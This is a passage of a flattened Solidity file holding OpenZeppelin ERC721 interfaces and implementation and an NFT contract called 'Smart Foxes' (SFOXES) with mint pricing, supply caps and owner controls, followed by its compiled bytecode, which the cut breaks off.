function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/SFOXES.sol pragma solidity >=0.7.0 <0.9.0; contract SFOXES is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.085 ether; uint256 public maxSupply = 9999; uint256 public maxMintAmountPerTx = 100; bool public paused = false; bool public revealed = true; constructor() ERC721("Smart Foxes", "SFOXES") { setUriPrefix("https://smartfox.mypinata.cloud/ipfs/QmRsNYePRviiPwRcAEnBVYvCQ2pxgtPr2GwcwqgwbrEVXw/"); mint(49); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { if (msg.sender != owner()) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); } _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x60806040526004361061020f5760003560e01c80636352211e11610118578063a45ba8e7116100a0578063d5abeb011161006f578063d5abeb0114610768578063e0a8085314610793578063e985e9c5146107bc578063efbd73f4146107f9578063f2fde38b146108225761020f565b8063a45ba8e7146106ae578063b071401b146106d9578063b88d4fde14610702578063c87b56dd1461072b5761020f565b80638da5cb5b116100e75780638da5cb5b146105e857806394354fd01461061357806395d89b411461063e578063a0712d6814610669578063a22cb465146106855761020f565b80636352211e1461052e57806370a082311461056b578063715018a6146105a85780637ec4a659146105bf5761020f565b80633ccfd60b1161019b5780634fdd43cb1161016a5780634fdd43cb1461045957806351830227146104825780635503a0e8146104ad5780635c975abb146104d857806362b99ad4146105035761020f565b80633ccfd60b146103b357806342842e0e146103ca578063438b6300146103f357806344a0d68a146104305761020f565b806313faede6116101e257806313faede6146102e257806316ba10e01461030d57806316c38b3c1461033657806318160ddd1461035f57806323b872dd1461038a5761020f565b806301ffc9a71461021457806306fdde0314610251578063081812fc1461027c578063095ea7b3146102b9575b600080fd5b34801561022057600080fd5b5061023b60048036038101906102369190612e60565b61084b565b60405161024891906134f2565b60405180910390f35b34801561025d57600080fd5b5061026661092d565b604051610273919061350d565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612f03565b6109bf565b6040516102b09190613469565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612df3565b610a44565b005b3480156102ee57600080fd5b506102f7610b5c565b60405161030491906137af565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612eba565b610b62565b005b34801561034257600080fd5b5061035d60048036038101906103589190612e33565b610bf8565b005b34801561036b57600080fd5b50610374610c91565b60405161038191906137af565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac9190612cdd565b610ca2565b005b3480156103bf57600080fd5b506103c8610d02565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612cdd565b610dfe565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190612c70565b610e1e565b60405161042791906134d0565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190612f03565b610f29565b005b34801561046557600080fd5b50610480600480360381019061047b9190612eba565b610faf565b005b34801561048e57600080fd5b50610497611045565b6040516104a491906134f2565b60405180910390f35b3480156104b957600080fd5b506104c2611058565b6040516104cf919061350d565b60405180910390f35b3480156104e457600080fd5b506104ed6110e6565b6040516104fa91906134f2565b60405180910390f35b34801561050f57600080fd5b506105186110f9565b604051610525919061350d565b60405180910390f35b34801561053a57600080fd5b5061055560048036038101906105509190612f03565b611187565b6040516105629190613469565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d9190612c70565b611239565b60405161059f91906137af565b60405180910390f35b3480156105b457600080fd5b506105bd6112f1565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190612eba565b611379565b005b3480156105f457600080fd5b506105fd61140f565b60405161060a9190613469565b60405180910390f35b34801561061f57600080fd5b50610628611439565b60405161063591906137af565b60405180910390f35b34801561064a57600080fd5b5061065361143f565b604051610660919061350d565b60405180910390f35b610683600480360381019061067e9190612f03565b6114d1565b005b34801561069157600080fd5b506106ac60048036038101906106a79190612db3565b611665565b005b3480156106ba57600080fd5b506106c361167b565b6040516106d0919061350d565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190612f03565b611709565b005b34801561070e57600080fd5b5061072960048036038101906107249190612d30565b61178f565b005b34801561073757600080fd5b50610752600480360381019061074d9190612f03565b6117f1565b60405161075f919061350d565b60405180910390f35b34801561077457600080fd5b5061077d61194a565b60405161078a91906137af565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190612e33565b611950565b005b3480156107c857600080fd5b506107e360048036038101906107de9190612c9d565b6119e9565b6040516107f091906134f2565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190612f30565b611a7d565b005b34801561082e57600080fd5b5061084960048036038101906108449190612c70565b611bb3565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061091657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610926575061092582611cf2565b5b9050919050565b60606000805461093c90613ab8565b80601f016020809104026020016040519081016040528092919081815260200182805461096890613ab8565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b5050505050905090565b60006109ca82611d5c565b610a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a00906136af565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a4f82611187565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab79061372f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610adf611dc8565b73ffffffffffffffffffffffffffffffffffffffff161480610b0e5750610b0d81610b08611dc8565b6119e9565b5b610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061362f565b60405180910390fd5b610b578383611dd0565b505050565b600b5481565b610b6a611dc8565b73ffffffffffffffffffffffffffffffffffffffff16610b8861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd5906136cf565b60405180910390fd5b8060099080519060200190610bf4929190612a84565b5050565b610c00611dc8565b73ffffffffffffffffffffffffffffffffffffffff16610c1e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b906136cf565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6000610c9d6007611cab565b905090565b610cb3610cad611dc8565b82611e89565b610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce99061376f565b60405180910390fd5b610cfd838383611f67565b505050565b610d0a611dc8565b73ffffffffffffffffffffffffffffffffffffffff16610d2861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d75906136cf565b60405180910390fd5b6000610d8861140f565b73ffffffffffffffffffffffffffffffffffffffff1647604051610dab90613454565b60006040518083038185875af1925050503d8060008114610de8576040519150601f19603f3d011682016040523d82523d6000602084013e610ded565b606091505b5050905080610dfb57600080fd5b50565b610e198383836040518060200160405280600081525061178f565b505050565b60606000610e2b83611239565b905060008167ffffffffffffffff811115610e4957610e48613c51565b5b604051908082528060200260200182016040528015610e775781602001602082028036833780820191505090505b50905060006001905060005b8381108015610e945750600c548211155b15610f1d576000610ea483611187565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f095782848381518110610eee57610eed613c22565b5b6020026020010181815250508180610f0590613b1b565b9250505b8280610f1490613b1b565b93505050610e83565b82945050505050919050565b610f31611dc8565b73ffffffffffffffffffffffffffffffffffffffff16610f4f61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c906136cf565b60405180910390fd5b80600b8190555050565b610fb7611dc8565b73ffffffffffffffffffffffffffffffffffffffff16610fd561140f565b73ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906136cf565b60405180910390fd5b80600a9080519060200190611041929190612a84565b5050565b600e60019054906101000a900460ff1681565b6009805461106590613ab8565b80601f016020809104026020016040519081016040528092919081815260200182805461109190613ab8565b80156110de5780601f106110b3576101008083540402835291602001916110de565b820191906000526020600020905b8154815290600101906020018083116110c157829003601f168201915b505050505081565b600e60009054906101000a900460ff1681565b6008805461110690613ab8565b80601f016020809104026020016040519081016040528092919081815260200182805461113290613ab8565b801561117f5780601f106111545761010080835404028352916020019161117f565b820191906000526020600020905b81548152906001019060200180831161116257829003601f168201915b505050505081565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112279061366f565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a19061364f565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f9611dc8565b73ffffffffffffffffffffffffffffffffffffffff1661131761140f565b73ffffffffffffffffffffffffffffffffffffffff161461136d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611364906136cf565b60405180910390fd5b61137760006121ce565b565b611381611dc8565b73ffffffffffffffffffffffffffffffffffffffff1661139f61140f565b73ffffffffffffffffffffffffffffffffffffffff16146113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec906136cf565b60405180910390fd5b806008908051906020019061140b929190612a84565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606001805461144e90613ab8565b80601f016020809104026020016040519081016040528092919081815260200182805461147a90613ab8565b80156114c75780601f1061149c576101008083540402835291602001916114c7565b820191906000526020600020905b8154815290600101906020018083116114aa57829003601f168201915b5050505050905090565b806000811180156114e45750600d548111155b611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a906135af565b60405180910390fd5b600c54816115316007611cab565b61153b91906138ed565b111561157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115739061374f565b60405180910390fd5b61158461140f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165757600e60009054906101000a900460ff1615611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd906136ef565b60405180910390fd5b81600b546116149190613974565b341015611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d9061378f565b60405180910390fd5b5b6116613383612294565b5050565b611677611670611dc8565b83836122d4565b5050565b600a805461168890613ab8565b80601f01602080910402602001604051908101604052809291908181526020018280546116b490613ab8565b80156117015780601f106116d657610100808354040283529160200191611701565b820191906000526020600020905b8154815290600101906020018083116116e457829003601f168201915b505050505081565b611711611dc8565b73ffffffffffffffffffffffffffffffffffffffff1661172f61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177c906136cf565b60405180910390fd5b80600d8190555050565b6117a061179a611dc8565b83611e89565b6117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d69061376f565b60405180910390fd5b6117eb84848484612441565b50505050565b60606117fc82611d5c565b61183b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118329061370f565b60405180910390fd5b60001515600e60019054906101000a900460ff16151514156118e957600a805461186490613ab8565b80601f016020809104026020016040519081016040528092919081815260200182805461189090613ab8565b80156118dd5780601f106118b2576101008083540402835291602001916118dd565b820191906000526020600020905b8154815290600101906020018083116118c057829003601f168201915b50505050509050611945565b60006118f361249d565b905060008151116119135760405180602001604052806000815250611941565b8061191d8461252f565b600960405160200161193193929190613423565b6040516020818303038152906040525b9150505b919050565b600c5481565b611958611dc8565b73ffffffffffffffffffffffffffffffffffffffff1661197661140f565b73ffffffffffffffffffffffffffffffffffffffff16146119cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c3906136cf565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b81600081118015611a905750600d548111155b611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac6906135af565b60405180910390fd5b600c5481611add6007611cab565b611ae791906138ed565b1115611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f9061374f565b60405180910390fd5b611b30611dc8565b73ffffffffffffffffffffffffffffffffffffffff16611b4e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9b906136cf565b60405180910390fd5b611bae8284612294565b505050565b611bbb611dc8565b73ffffffffffffffffffffffffffffffffffffffff16611bd961140f565b73ffffffffffffffffffffffffffffffffffffffff1614611c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c26906136cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c969061354f565b60405180910390fd5b611ca8816121ce565b50565b600081600001549050919050565b6001816000016000828254019250508190555050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611e4383611187565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e9482611d5c565b611ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eca9061360f565b60405180910390fd5b6000611ede83611187565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f4d57508373ffffffffffffffffffffffffffffffffffffffff16611f35846109bf565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f5e5750611f5d81856119e9565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f8782611187565b73ffffffffffffffffffffffffffffffffffffffff1614611fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd49061356f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561204d576040517f08c379a000000000000000000000000000000000000000000000000000000000